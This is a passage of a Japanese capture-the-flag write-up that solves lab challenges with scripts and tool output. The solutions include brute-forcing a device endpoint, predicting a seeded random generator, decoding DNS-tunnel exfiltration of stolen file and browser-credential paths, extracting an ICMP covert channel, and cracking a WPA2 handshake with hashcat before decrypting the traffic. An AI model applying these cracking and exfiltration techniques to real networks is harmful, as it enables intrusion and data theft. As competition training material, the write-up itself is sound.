解答形式: flag{XXXXXX} (半角英数記号)
ヒント1: プロトコルについて
サーバーに接続すると、利用可能なコマンドとプロトコル仕様が表示されます。バイナリプロトコルに従ってメッセージを送信する必要があります。
ヒント2: リクエストの送信について
プログラミング言語のバイナリデータ操作機能を使用すると、4 バイトのリトルエンディアン長プレフィックス付きメッセージを作成できます(例:Python のstruct、Ruby の pack/unpack 等)。HELLO コマンドでトークンを取得してから、QUERY コマンドを実行してください。
細胞の回帰 [30pts] (232 solves)
問題
ライフゲームが 2 世代進行した後の状態が与えられます。時を戻し、初期状態を復元してフラグを取得してください。
接続情報: http://10.2.4.11:5000
解答形式: flag{XXXXXX} (半角英数記号)
ヒント1: 方針
16x16 グリッド × 2 世代 = 256セル × 3 状態分の変数が必要です。総当たり(2^256 通り)は不可能なので、SMT ソルバー(Z3 など)を使って制約充足問題として解きます。
ヒント2: 問題の定義
各世代の各セルを Bool 変数として定義し、最終状態を固定します。世代間の遷移は「next_cell ⇔ (近傍が3) OR (現在生存 AND 近傍が2)」という制約で表現できます。
ヒント3: ソルバーについて
Z3のPbEq制約で近傍カウントを表現します。例: PbEq([(n, 1) for n in neighbors], 3) は「neighborsのうちちょうど3つがTrue」を意味します。solver.add(next_cell == Or(exactly_3, And(cell, exactly_2))) で遷移ルールを追加します。
Misc.
コーヒーブレイク [10pts] (318 solves)
問題
あなたの同僚が「最新の IoT コーヒーメーカーを導入した」と自慢しています。なんでもインターネット経由でコーヒーを淹れられるらしいのですが、どうやって操作するのでしょうか?ちなみに同僚はブラックコーヒーが苦手なので、何かトッピングを追加してあげてください。
接続情報: coffee://10.2.4.6:10006
解答形式: flag{XXXXXX} (半角英数記号)
ヒント1: プロトコルについて
RFC 2324 を読んでみましょう。1998 年 4 月 1 日に公開された興味深い仕様書です。
ヒント2: トッピング
コーヒーには何か追加したいですか? RFC のセクション 2.2.2.1 を確認してみましょう。
coffee:// について調べると、RFC 2324 (Hyper Text Coffee Pot Control Protocol, HTCPCP) が見つかります。
この RFC に従い、総当たりで全てのコーヒーメーカーを試すスクリプトを書きます。ブラックは苦手らしいので、適当にトッピングを追加します。
import socket
import time
HOST, PORT = "192.168.1.50", 1337
TOPPINGS = ["Cream", "Vanilla"]
def recv_some(s, window=2.0):
s.setblocking(False)
end = time.time() + window
chunks = []
while time.time() < end:
try:
data = s.recv(4096)
if not data:
break
chunks.append(data)
except BlockingIOError:
time.sleep(0.02)
s.setblocking(True)
return b"".join(chunks)
def send_req(method: str, target: str, body: bytes, headers: dict[str, str]) -> bytes:
req_lines = [f"{method} {target} HTCPCP/1.0"]
base = {
"Host": HOST,
"Connection": "close",
"Content-Length": str(len(body)),
}
all_headers = {**base, **headers}
req_lines += [f"{k}: {v}" for k, v in all_headers.items()]
req = ("\r\n".join(req_lines) + "\r\n\r\n").encode("ascii") + body
with socket.create_connection((HOST, PORT), timeout=5) as s:
recv_some(s, 1.0) # banner を捨てる
s.sendall(req)
return recv_some(s, 3.0)
def first_line(resp: bytes) -> str:
return resp.split(b"\n", 1)[0].strip(b"\r").decode("utf-8", errors="replace")
def main():
body = b"start"
headers = {
"Content-Type": "application/coffee-pot-command",
"Accept-Additions": ", ".join(TOPPINGS),
}
print("=== enumerate devices ===")
hits = []
for i in range(0, 20):
target = f"/pot-{i}"
for method in ("BREW", "POST"):
resp = send_req(method, target, body, headers)
fl = first_line(resp)
print(f"[{method} {target}] {fl}")
if b"Unknown device" not in resp and resp:
txt = resp.decode("utf-8", errors="replace")
print(txt)
hits.append((method, target, fl))
print("\n=== summary (non-unknown) ===")
for method, target, fl in hits:
print(f"{method} {target} -> {fl}")
if __name__ == "__main__":
main()
途中何回か HTCPCP/1.0 418 I'm a teapot が返ってきますが、/pot-3 で HTCPCP/1.0 200 OK が返ってきます。
=== enumerate devices ===
[BREW /pot-0] HTCPCP/1.0 418 I'm a teapot
HTCPCP/1.0 418 I'm a teapot
Content-Length: 36
Content-Type: text/plain
Cannot brew coffee with this device.
[POST /pot-0] HTCPCP/1.0 501 Not Implemented
HTCPCP/1.0 501 Not Implemented
Content-Length: 15
Content-Type: text/plain
Unknown method.
[BREW /pot-1] HTCPCP/1.0 418 I'm a teapot
HTCPCP/1.0 418 I'm a teapot
Content-Length: 36
Content-Type: text/plain
Cannot brew coffee with this device.
[POST /pot-1] HTCPCP/1.0 501 Not Implemented
HTCPCP/1.0 501 Not Implemented
Content-Length: 15
Content-Type: text/plain
Unknown method.
[BREW /pot-2] HTCPCP/1.0 418 I'm a teapot
HTCPCP/1.0 418 I'm a teapot
Content-Length: 36
Content-Type: text/plain
Cannot brew coffee with this device.
[POST /pot-2] HTCPCP/1.0 501 Not Implemented
HTCPCP/1.0 501 Not Implemented
Content-Length: 15
Content-Type: text/plain
Unknown method.
[BREW /pot-3] HTCPCP/1.0 200 OK
HTCPCP/1.0 200 OK
Content-Length: 54
Content-Type: text/plain
Brewing...
Complete!
flag{br3w_m3_s0m3_c0ff33_p0t}
Flag: flag{br3w_m3_s0m3_c0ff33_p0t}
消えゆく残像 [20pts] (338 solves)
問題
古びた端末に接続したところ、何かが高速で流れていきました。一瞬で消えてしまう残像の中に、何か秘密が隠されているようです。
接続情報:nc 10.2.4.7 10008
解答形式: flag{XXXXXX} (半角英数字および _)
ヒント: 方針1
アニメーションは複数のフレームで構成されています。各フレームを個別に記録してみてください。
ヒント: 方針2
煙は記号で構成されていますが、煙の中に記号ではない文字が紛れているかもしれません。
接続すると sl コマンド のようなアニメーションが流れます。
tee コマンドでログを記録すると、1フレームごとに flag を構成する文字が1文字ずつ現れていることがわかります。
import socket
import time
import re
HOST = "10.2.4.7"
PORT = 10008
DURATION = 5.0
def capture_stream():
s = socket.create_connection((HOST, PORT), timeout=5)
s.settimeout(0.2)
start = time.time()
chunks = []
while time.time() - start < DURATION:
try:
data = s.recv(4096)
if not data:
break
chunks.append(data)
except Exception:
pass
s.close()
return b"".join(chunks)
def extract_flag(blob: bytes) -> str:
frames_raw = re.split(rb"\x1b\[2J\x1b\[H", blob)
ansi = re.compile(rb"\x1b\[[0-9;]*[A-Za-z]")
pat = re.compile(rb"[A-Za-z0-9_{}]")
seq = ""
for fr in frames_raw:
if not fr.strip():
continue
fr = ansi.sub(b"", fr)
lines = fr.split(b"\n")
if len(lines) < 30:
lines += [b""] * (30 - len(lines))
lines = lines[:30]
chars = []
for y in range(0, 10):
for m in pat.finditer(lines[y]):
chars.append((y, m.start(), chr(m.group(0)[0])))
if not chars:
continue
chars.sort()
seq += chars[0][2]
m = re.search(r"flag\{[A-Za-z0-9_]+\}", seq)
return m.group(0) if m else seq
def main():
blob = capture_stream()
flag_or_seq = extract_flag(blob)
print(flag_or_seq)
if __name__ == "__main__":
main()
Flag: flag{sm0k3_s1gn4l_h1dd3n_1n_th3_sky}
ピカッピカッッ [30pts] (200 solves)
問題
あなたは新しいスマートホームシステムの検証を依頼されました。このシステムには、CoAP プロトコルで制御できるスマート電球が接続されています。電球を調査し、隠された秘密を見つけてください。
注意: フラグは flag() 形式で出力されます。解答は flag{} 形式で提出してください。
接続情報: coap://10.2.4.8:5683
解答形式: flag{XXXXXX} (半角英数記号)
ヒント1: CoAP について
CoAP は RESTful なプロトコルです。電球の状態を取得するエンドポイントと、何かを開始するエンドポイントがあるかもしれません。
ヒント2: 着目点
電球の点灯時間に長短があるようです。古くから使われている通信方法を思い出してみてください。
coap://10.2.4.8:5683/.well-known/core を GET すると、/bulb, /bulb/brightness, /sos, /start, /history, /status が見つかります。
また、/start を POST すると「Blinking started」になり /status が Running になります。
start させると、電球が点滅し始めます。点滅の長短を観察すると、モールス信号であることがわかります。
/bulb を高速ポーリングして ON/OFF の時間列を取得し、モールスを復号しました。
FLAG(M0RS3_SM4RT_BU1B) が得られるので、解答形式に合わせて
Flag: flag{M0RS3_SM4RT_BU1B}
Network
運命の数字 [10pts] (509 solves)
問題
あなたは不思議な「数字の神託所」を見つけました。神託所は 1 から 100 までの神聖な数字を選び、あなたにそれを当てるよう求めます。 5回連続で神託の数字を当てることができれば、秘密が明かされるでしょう。しかし、この神託所には秘密があるようです...
添付ファイル: server.py(実際にサーバーで動作しているソースコード、 SHA1: 3f54efd9be24aee7d4b5a2bc33569eb533a8caee)
接続情報:nc 10.2.4.10 10007
解答形式: flag{XXXXXX} (半角英数記号)
ヒント: 神託所の秘密について
Python の random モジュールのドキュメントを読んでみましょう。
サーバーは random.seed(int(time.time())) を使い、しかも Seed: <time> をそのまま送ってくるので、同じ乱数列を再現できます。
from pwn import *
import re
import random
HOST = "10.2.4.10"
PORT = 10007
def main():
context.log_level = "debug"
io = remote(HOST, PORT, timeout=10)
io.timeout = 5
buf = b""
seed = None
guesses = []
try:
while seed is None:
chunk = io.recv(4096)
if not chunk:
raise EOFError("connection closed before Seed")
buf += chunk
m = re.search(rb"Seed:\s*(\d+)", buf)
if m:
seed = int(m.group(1))
r = random.Random(seed)
guesses = [r.randint(1, 100) for _ in range(5)]
for g in guesses:
io.recvuntil(b"Enter your guess (1-100): ")
io.sendline(str(g).encode())
io.interactive()
finally:
io.close()
if __name__ == "__main__":
main()
Flag: flag{r4nd0m_1s_n0t_s0_r4nd0m}
怪しい名前解決 [20pts] (411 solves)
問題
社内ネットワークで不審な通信が検出されました。セキュリティチームがパケットキャプチャを取得したところ、一見すると通常の DNS 通信に見えます。添付の pcap ファイルを解析し、不審な通信の正体を突き止め、 フラグ を発見してください。
添付ファイル: capture.pcap (SHA1: 0e080ecd6ede5b9bc67a512a8ef1b8567fcbe3c5)
解答形式: flag{XXXXXX} (半角英数記号)
ヒント1: 方針
DNS プロトコルは通常の名前解決以外の目的で使用されることがあります。サブドメインに不審なデータが含まれていないか確認してください。
ヒント2: 不審な通信について
不審なデータは Base32 でエンコードされています。複数のクエリを正しい順序で結合してデコードする必要があります。
大量の exfil.何とか.internal-sys.local 通信があります。tshark でそこだけ抜き出します。
$ tshark -r capture.pcap -Y "dns.flags.response==0 && dns.qry.name contains \"exfil.\"" -T fields -e dns.qry.name
exfil.pmrgq33toqrduise.internal-sys.local
exfil.ivjuwvcpkawucmkc.internal-sys.local
exfil.gjbtgrbcfqrhk43f.internal-sys.local
exfil.oirduitvonsxeirm.internal-sys.local
exfil.ejsg6y3vnvsw45dt.internal-sys.local
exfil.ei5fwisdhjofyvlt.internal-sys.local
exfil.mvzhgxc4ovzwk4s4.internal-sys.local
exfil.lrcg6y3vnvsw45dt.internal-sys.local
exfil.lrofaylton3w64te.internal-sys.local
exfil.omxhq3dtparcyisd.internal-sys.local
exfil.hjofyvltmvzhgxc4.internal-sys.local
exfil.ovzwk4s4lrcg6y3v.internal-sys.local
exfil.nvsw45dtlroopjf6.internal-sys.local
exfil.4wsjnz5htbp6tinh.internal-sys.local
exfil.4wxkfy4dvlryfopd.internal-sys.local
exfil.qoec46dmon4celbc.internal-sys.local
exfil.im5fyxcvonsxe424.internal-sys.local
exfil.lr2xgzlslroei33d.internal-sys.local
exfil.ovwwk3tuonofyvsq.internal-sys.local
exfil.jzpwg4tfmrsw45dj.internal-sys.local
exfil.mfwhgltupb2celbc.internal-sys.local
exfil.im5fyxcvonsxe424.internal-sys.local
exfil.lr2xgzlslroei33d.internal-sys.local
exfil.ovwwk3tuonofyztm.internal-sys.local
exfil.mftxwzdogvpxi5lo.internal-sys.local
exfil.nyzwyxztpbtdc3d5.internal-sys.local
exfil.fz2hq5bcfqregos4.internal-sys.local
exfil.lrkxgzlsonofy5lt.internal-sys.local
exfil.mvzfyxcen5rxk3lf.internal-sys.local
exfil.nz2hgxc44s5lvzf2.internal-sys.local
exfil.rpuktfpex2qv6mrq.internal-sys.local
exfil.gi2c4zdpmn4cexjm.internal-sys.local
exfil.ejrwq4tpnvsseot3.internal-sys.local
exfil.ejwg6z3jnzpwiylu.internal-sys.local
exfil.merduisdhjofyvlt.internal-sys.local
exfil.mvzhgxc4ovzwk4s4.internal-sys.local
exfil.lraxa4cemf2gcxc4.internal-sys.local
exfil.jrxwgylmlroeo33p.internal-sys.local
exfil.m5wgkxc4inuhe33n.internal-sys.local
exfil.mvofyvltmvzcardb.internal-sys.local
exfil.orqvyxcemvtgc5lm.internal-sys.local
exfil.orofytdpm5uw4ice.internal-sys.local
exfil.mf2gcirmejrw633l.internal-sys.local
exfil.nfsxgir2ejbtuxc4.internal-sys.local
exfil.kvzwk4ttlrohk43f.internal-sys.local
exfil.ojofyqlqobcgc5db.internal-sys.local
exfil.lroey33dmfwfyxch.internal-sys.local
exfil.n5xwo3dflroeg2ds.internal-sys.local
exfil.n5wwkxc4kvzwk4ra.internal-sys.local
exfil.irqxiyk4lrcgkztb.internal-sys.local
exfil.ovwhixc4inxw623j.internal-sys.local
exfil.mvzselbcnbuxg5dp.internal-sys.local
exfil.oj4seorcim5fyxcv.internal-sys.local
exfil.onsxe424lr2xgzls.internal-sys.local
exfil.lroec4dqirqxiyk4.internal-sys.local
exfil.lrgg6y3bnrofyr3p.internal-sys.local
exfil.n5twyzk4lrbwq4tp.internal-sys.local
exfil.nvsvyxcvonsxeice.internal-sys.local
exfil.mf2gcxc4irswmylv.internal-sys.local
exfil.nr2fyxcinfzxi33s.internal-sys.local
exfil.perh2lbcon4xg5df.internal-sys.local
exfil.nurdu6zcn5zseorc.internal-sys.local
exfil.k5uw4zdpo5zsamjq.internal-sys.local
exfil.ebihe3zcfqrgi33n.internal-sys.local
exfil.mfuw4ir2ejbu6usq.internal-sys.local
exfil.fzge6q2bjqrh27i.internal-sys.local
これらを Base32 デコードして結合すると、
{
"host": "DESKTOP-A1B2C3D",
"user": "user",
"documents": [
"C:\\Users\\user\\Documents\\Passwords.xlsx",
"C:\\Users\\user\\Documents\\社外秘_顧客リスト.xlsx",
"C:\\Users\\user\\Documents\\VPN_credentials.txt",
"C:\\Users\\user\\Documents\\flag{dn5_tunn3l_3xf1l}.txt",
"C:\\Users\\user\\Documents\\人事評価_2024.docx"
],
"chrome": {
"login_data": "C:\\Users\\user\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data",
"cookies": "C:\\Users\\user\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies",
"history": "C:\\Users\\user\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History"
},
"system": {
"os": "Windows 10 Pro",
"domain": "CORP.LOCAL"
}
}
Flag: flag{dn5_tunn3l_3xf1l}
検閲を嘲笑う残響 [20pts] (330 solves)
問題
社内ネットワークから外部への不正なデータ送信が検出されました。ファイアウォールで基本的な外部通信は遮断しているにもかかわらず、何らかの方法でデータが外部に送信されています。セキュリティチームがキャプチャしたパケットを解析し、送信されたデータからフラグを取得してください。
添付ファイル: traffic.pcap (SHA1: 195e01c776ce4041cbb8ddf93ec21d08413d5057)
解答形式: flag{XXXXXX} (半角英数記号)
ヒント1: 使われたプロトコル
今回の環境では ICMP による外部通信が許可されています。 ICMP パケットを調査してください。
ヒント2: データの埋め込みについて
ICMP ID の出現頻度を調べると、特定の ID だけが複数回出現しています。そのパケットのペイロードを確認してください。
$ tshark -r traffic.pcap -Y icmp -T fields -e frame.number -e ip.src -e ip.dst -e icmp.type -e data
1 192.168.1.149 203.0.113.34 8 0000000000000000101112131415161718191a1b1c1d1e1f202122232425262728292a2b2c2d2e2f3031323334353637
2 203.0.113.34 192.168.1.149 0 0000000000000000101112131415161718191a1b1c1d1e1f202122232425262728292a2b2c2d2e2f3031323334353637
3 192.168.1.126 203.0.113.51 8 0000000000000000101112131415161718191a1b1c1d1e1f202122232425262728292a2b2c2d2e2f3031323334353637
4 203.0.113.51 192.168.1.126 0 0000000000000000101112131415161718191a1b1c1d1e1f202122232425262728292a2b2c2d2e2f3031323334353637
6 192.168.1.100 203.0.113.105 8 0000000000000000101112131415161718191a1b1c1d1e1f202122232425262728292a2b2c2d2e2f3031323334353637
7 203.0.113.105 192.168.1.100 0 0000000000000000101112131415161718191a1b1c1d1e1f202122232425262728292a2b2c2d2e2f3031323334353637
...
一部のペイロードの値が若干違うので、並べてみます。
import subprocess
from collections import Counter
lines = subprocess.check_output([
'tshark','-r','traffic.pcap','-Y','icmp.type==8',
'-T','fields','-e','data','-e','frame.number'
]).decode().splitlines()
pairs=[]
for line in lines:
parts=line.split(' ')
if len(parts)>=2:
data, frame = parts[0], parts[1]
else:
data, frame = parts[0], ''
pairs.append((frame, data))
base_hex = Counter([d for _, d in pairs]).most_common(1)[0][0]
base = bytes.fromhex(base_hex)
variants=[]
for frame, d in pairs:
if d == base_hex:
continue
data = bytes.fromhex(d)
diffs = [i for i,(a,b) in enumerate(zip(data, base)) if a != b]
if len(diffs)==1:
variants.append((int(frame), diffs[0], data[diffs[0]]))
variants.sort()
pos = variants[0][1]
msg = bytes(v for _,_,v in variants)
print(msg)
Flag: flag{1cmp_c0v3r7_ch4nn3l_15_h1dd3n}
空中の架け橋 [30pts] (175 solves)
問題
ある工場内の無線 LAN 通信をキャプチャしました。キャプチャファイルを解析し、フラグを取得してください。
添付ファイル: Plant.cap (SHA1: 5cdb6a8b0cd45ec27730b0b4a6f178f63baef687)
解答形式: flag{XXXXXX} (半角英数記号)
ヒント1: 無線 LAN 通信について
無線 LAN のパスワードを特定するには aircrack-ng と一般的な辞書ファイル(rockyou.txt など)を使用してください。パスワードは非常に単純なものです。
ヒント2: アプリケーション通信について
無線 LAN のパスワードを使って Wireshark で通信を復号すると、 HTTP 通信が見えます。ログインページの HTML ソースに含まれる JavaScript は難読化されていますが、暗号化に使われる鍵と nonce が隠されています。\x 形式の 16 進数エスケープシーケンスをデコードしてみてください。
WPA2-PSK のパスワードを復号するために、hashcat を使います。
$ hcxpcapngtool -o handshake.22000 Plant.cap
Plant.cap 7.0.1 reading from Plant.cap...
summary capture file
--------------------
file name................................: Plant.cap
version (pcap/cap).......................: 2.4 (very basic format without any additional information)
timestamp minimum (timestamp)............: 01.12.2025 03:56:55 (1764561415)
timestamp maximum (timestamp)............: 01.12.2025 03:59:49 (1764561589)
duration of the dump tool (minutes)......: 2
used capture interfaces..................: 1
link layer header type...................: DLT_IEEE802_11 (105) very basic format without any additional information about the quality
endianness (capture system)..............: little endian
packets inside...........................: 7304
ESSID (total unique).....................: 1
BEACON (total)...........................: 1
ACTION (total)...........................: 12
PROBERESPONSE (total)....................: 168
AUTHENTICATION (total)...................: 2
AUTHENTICATION (OPEN SYSTEM).............: 2
ASSOCIATIONREQUEST (total)...............: 1
ASSOCIATIONREQUEST (PSK).................: 1
WPA encrypted............................: 493
EAPOL messages (total)...................: 3
EAPOL RSN messages.......................: 3
EAPOLTIME gap (measured maximum msec)....: 1
EAPOL ANONCE error corrections (NC)......: not detected
EAPOL M1 messages (total)................: 1
EAPOL M2 messages (total)................: 1
EAPOL M3 messages (total)................: 1
EAPOL pairs (total)......................: 2
EAPOL pairs (best).......................: 1
EAPOL pairs written to 22000 hash file...: 1 (RC checked)
EAPOL M12E2 (challenge - ANONCE from M1).: 1
Information: limited dump file format detected!
This file format is a very basic format to save captured network data.
It is recommended to use PCAP Next Generation dump file format (or pcapng for short) instead. The PCAP Next Generation dump file format is an attempt to overcome the limitations of the currently widely used (but very limited) libpcap (cap, pcap) format.
https://www.wireshark.org/docs/wsug_html_chunked/AppFiles.html#ChAppFilesCaptureFilesSection
https://github.com/pcapng/pcapng
Information: radiotap header is missing!
Radiotap is a de facto standard for 802.11 frame injection and reception. The radiotap header format is a mechanism to supply additional information about frames, from the driver to userspace applications.
https://www.radiotap.org/
Information: missing frames!
This dump file does not contain undirected proberequest frames.
An undirected proberequest may contain information about the PSK. It always happens if the capture file was cleaned or it could happen if filter options are used during capturing.
That makes it hard to recover the PSK.
Information: missing frames!
This dump file does not contain enough EAPOL M1 frames.
It always happens if the capture file was cleaned or it could happen if filter options are used during capturing.
That makes it impossible to calculate nonce-error-correction values.
https://hashcat.net/forum/thread-6361.html
session summary
---------------
processed cap files...................: 1
$ hashcat -m 22000 handshake.22000 rockyou.txt --force
hashcat (v7.1.2) starting
You have enabled --force to bypass dangerous warnings and errors!
This can hide serious problems and should only be done when debugging.
Do not report hashcat issues encountered when using --force.
METAL API (Metal 370.64.2)
==========================
* Device #01: Apple M4, skipped
OpenCL API (OpenCL 1.2 (Nov 8 2025 19:10:43)) - Platform #1 [Apple]
====================================================================
* Device #02: Apple M4, GPU, 6062/12124 MB (1136 MB allocatable), 8MCU
Minimum password length supported by kernel: 8
Maximum password length supported by kernel: 63
Minimum salt length supported by kernel: 0
Maximum salt length supported by kernel: 256
Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1
Optimizers applied:
* Zero-Byte
* Single-Hash
* Single-Salt
* Slow-Hash-SIMD-LOOP
Watchdog: Temperature abort trigger set to 100c
Host memory allocated for this attack: 818 MB (1852 MB free)
Dictionary cache built:
* Filename..: rockyou.txt
* Passwords.: 14344391
* Bytes.....: 139921497
* Keyspace..: 14344384
* Runtime...: 0 secs
f5157d2c0ce641b686cb799ca4554b39:0000e86e6e5a:1ebc130cfaf0:CTF_Challenge:password123
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 22000 (WPA-PBKDF2-PMKID+EAPOL)
Hash.Target......: handshake.22000
Time.Started.....: Wed Feb 4 15:05:56 2026, (2 secs)
Time.Estimated...: Wed Feb 4 15:05:58 2026, (0 secs)
Kernel.Feature...: Pure Kernel (password length 8-63 bytes)
Guess.Base.......: File (rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#02........: 82078 H/s (8.86ms) @ Accel:128 Loops:1024 Thr:128 Vec:1
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 314568/14344384 (2.19%)
Rejected.........: 183496/314568 (58.33%)
Restore.Point....: 0/14344384 (0.00%)
Restore.Sub.#02..: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#02...: 123456789 -> brownie01
Hardware.Mon.#02.: Util: 99% Pwr:3120mW
Started: Wed Feb 4 15:05:34 2026
Stopped: Wed Feb 4 15:05:59 2026
SSID が CTF_Challenge、PSK が password123 であることがわかりました。
tshark -r Plant.cap -o "wlan.enable_decryption:TRUE" -o 'uat:80211_keys:"wpa-pwd","password123:CTF_Challenge"' --export-objects http,http_objects を実行して復号し、HTTP 通信を抽出します。
$ tree http_objects
http_objects
├── %2f
├── apple-touch-icon-precomposed.png
├── apple-touch-icon.png
├── command
├── command(1)
├── command(2)
├── command(3)
├── command(4)
├── command(5)
├── dashboard
├── dashboard(1)
├── devices
├── devices(1)
├── devices(2)
├── devices(3)
├── devices(4)
├── login
├── login(1)
├── logs
├── logs(1)
├── logs(2)
├── logs(3)
├── object2920.application%2fjson
├── overview
├── process
├── process(1)
├── process(2)
├── process(3)
├── search%3fq=PLC
├── tanks
├── tanks(1)
├── users
└── users(1)
1 directory, 33 files
http_objects/users に chacha_key と chacha_nonce が平文で含まれています。
{"users": [{"id": 1, "name": "admin", "email": "admin@scada-system.local", "role": "administrator"}, {"id": 2, "name": "operator", "email": "operator@scada-system.local", "role": "operator"}, {"id": 3, "name": "guest", "email": "guest@scada-system.local", "role": "viewer"}], "chacha_key": "PLANT_ChaCha20_SecretKey_2026!!", "chacha_nonce": "PLC_N0nc3_!!"}
http_objects/login にログイン送信JSONがあり、password がBase64の暗号文であることがわかります。
{"username":"admin","password":"RUgSWSnENkGwF5XxpYJDN3TkPAVEsEiOmS8ys6tj"}
ログインページ(http_objects/%2f)内のJSにChaCha20実装があり、「key/nonceでChaCha20のキーストリーム生成 → 平文XOR → raw bytesをBase64化」という流れで暗号化されていることがわかります。
<!DOCTYPE html>
<html>
<head>
<title>プラント監視制御 - ログイン</title>
<meta charset="utf-8">
<style>
body { font-family: Arial, sans-serif; background: #1a1a2e; color: #eee; margin: 0; padding: 20px; }
.container { max-width: 400px; margin: 100px auto; background: #16213e; padding: 30px; border-radius: 10px; box-shadow: 0 0 20px rgba(0,255,255,0.2); }
h1 { text-align: center; color: #0ff; font-size: 24px; }
input { width: 100%; padding: 12px; margin: 10px 0; box-sizing: border-box; background: #0f3460; border: 1px solid #0ff; color: #fff; border-radius: 5px; }
button { width: 100%; padding: 12px; background: #0ff; color: #000; border: none; cursor: pointer; font-weight: bold; border-radius: 5px; }
button:hover { background: #00cccc; }
.error { color: #ff6b6b; text-align: center; }
.info { color: #888; font-size: 12px; margin-top: 20px; text-align: center; }
.warning { color: #fbbf24; font-size: 11px; text-align: center; }
</style>
</head>
<body>
<div class="container">
<h1>プラント監視制御システム</h1>
<form id="loginForm">
<input type="text" id="username" placeholder="ユーザー名">
<input type="password" id="password" placeholder="パスワード">
<button type="submit">ログイン</button>
</form>
<p id="error" class="error"></p>
<p class="warning">ChaCha20暗号化接続</p>
<p class="info">産業制御システム v3.1.4</p>
</div>
<!-- Obfuscated Security Module - ChaCha20 Implementation -->
<script>
// Obfuscated configuration strings
var _0x5c8a = ['\x50\x4c\x41\x4e\x54\x5f\x43\x68\x61\x43\x68\x61\x32\x30\x5f\x53\x65\x63\x72\x65\x74\x4b\x65\x79\x5f\x32\x30\x32\x36\x21\x21',
'\x50\x4c\x43\x5f\x4e\x30\x6e\x63\x33\x5f\x21\x21',
'\x6c\x6f\x67\x69\x6e\x46\x6f\x72\x6d','\x75\x73\x65\x72\x6e\x61\x6d\x65',
'\x70\x61\x73\x73\x77\x6f\x72\x64','\x65\x72\x72\x6f\x72',
'\x2f\x61\x70\x69\x2f\x6c\x6f\x67\x69\x6e','\x50\x4f\x53\x54',
'\x61\x70\x70\x6c\x69\x63\x61\x74\x69\x6f\x6e\x2f\x6a\x73\x6f\x6e'];
function _0xf7e2(_0x1a2b) { return _0x5c8a[_0x1a2b]; }
// Retrieve key and nonce
var _0x9k3y = (function() { return _0xf7e2(0x0); })();
var _0xn0nc3 = (function() { return _0xf7e2(0x1); })();
// ChaCha20 Quarter Round
function _0xqr(_0xs, _0xa, _0xb, _0xc, _0xd) {
_0xs[_0xa] = (_0xs[_0xa] + _0xs[_0xb]) >>> 0;
_0xs[_0xd] = ((_0xs[_0xd] ^ _0xs[_0xa]) >>> 0);
_0xs[_0xd] = ((_0xs[_0xd] << 16) | (_0xs[_0xd] >>> 16)) >>> 0;
_0xs[_0xc] = (_0xs[_0xc] + _0xs[_0xd]) >>> 0;
_0xs[_0xb] = ((_0xs[_0xb] ^ _0xs[_0xc]) >>> 0);
_0xs[_0xb] = ((_0xs[_0xb] << 12) | (_0xs[_0xb] >>> 20)) >>> 0;
_0xs[_0xa] = (_0xs[_0xa] + _0xs[_0xb]) >>> 0;
_0xs[_0xd] = ((_0xs[_0xd] ^ _0xs[_0xa]) >>> 0);
_0xs[_0xd] = ((_0xs[_0xd] << 8) | (_0xs[_0xd] >>> 24)) >>> 0;
_0xs[_0xc] = (_0xs[_0xc] + _0xs[_0xd]) >>> 0;
_0xs[_0xb] = ((_0xs[_0xb] ^ _0xs[_0xc]) >>> 0);
_0xs[_0xb] = ((_0xs[_0xb] << 7) | (_0xs[_0xb] >>> 25)) >>> 0;
}
// ChaCha20 Block Generation
function _0xblk(_0xkey, _0xnonce, _0xctr) {
// Pad key to 32 bytes, nonce to 12 bytes
while (_0xkey.length < 32) _0xkey += '\x00';
_0xkey = _0xkey.substring(0, 32);
while (_0xnonce.length < 12) _0xnonce += '\x00';
_0xnonce = _0xnonce.substring(0, 12);
// Constants: "expand 32-byte k"
var _0xst = [0x61707865, 0x3320646e, 0x79622d32, 0x6b206574];
// Key words
for (var i = 0; i < 8; i++) {
_0xst.push((_0xkey.charCodeAt(i*4) | (_0xkey.charCodeAt(i*4+1) << 8) |
(_0xkey.charCodeAt(i*4+2) << 16) | (_0xkey.charCodeAt(i*4+3) << 24)) >>> 0);
}
// Counter
_0xst.push(_0xctr >>> 0);
// Nonce words
for (var i = 0; i < 3; i++) {
_0xst.push((_0xnonce.charCodeAt(i*4) | (_0xnonce.charCodeAt(i*4+1) << 8) |
(_0xnonce.charCodeAt(i*4+2) << 16) | (_0xnonce.charCodeAt(i*4+3) << 24)) >>> 0);
}
var _0xws = _0xst.slice();
// 20 rounds
for (var i = 0; i < 10; i++) {
_0xqr(_0xws, 0, 4, 8, 12);
_0xqr(_0xws, 1, 5, 9, 13);
_0xqr(_0xws, 2, 6, 10, 14);
_0xqr(_0xws, 3, 7, 11, 15);
_0xqr(_0xws, 0, 5, 10, 15);
_0xqr(_0xws, 1, 6, 11, 12);
_0xqr(_0xws, 2, 7, 8, 13);
_0xqr(_0xws, 3, 4, 9, 14);
}
var _0xout = [];
for (var i = 0; i < 16; i++) {
var _0xv = (_0xws[i] + _0xst[i]) >>> 0;
_0xout.push(_0xv & 0xff);
_0xout.push((_0xv >> 8) & 0xff);
_0xout.push((_0xv >> 16) & 0xff);
_0xout.push((_0xv >> 24) & 0xff);
}
return _0xout;
}
// ChaCha20 Encrypt
function _0xenc(_0xpt) {
var _0xct = [];
var _0xctr = 0;
for (var i = 0; i < _0xpt.length; i += 64) {
var _0xks = _0xblk(_0x9k3y, _0xn0nc3, _0xctr);
for (var j = 0; j < 64 && (i + j) < _0xpt.length; j++) {
_0xct.push(_0xpt.charCodeAt(i + j) ^ _0xks[j]);
}
_0xctr++;
}
var _0xb64 = '';
for (var i = 0; i < _0xct.length; i++) {
_0xb64 += String.fromCharCode(_0xct[i]);
}
return btoa(_0xb64);
}
// Form handler
document['\x67\x65\x74\x45\x6c\x65\x6d\x65\x6e\x74\x42\x79\x49\x64'](_0xf7e2(0x2))['\x61\x64\x64\x45\x76\x65\x6e\x74\x4c\x69\x73\x74\x65\x6e\x65\x72']('\x73\x75\x62\x6d\x69\x74', async function(_0xe) {
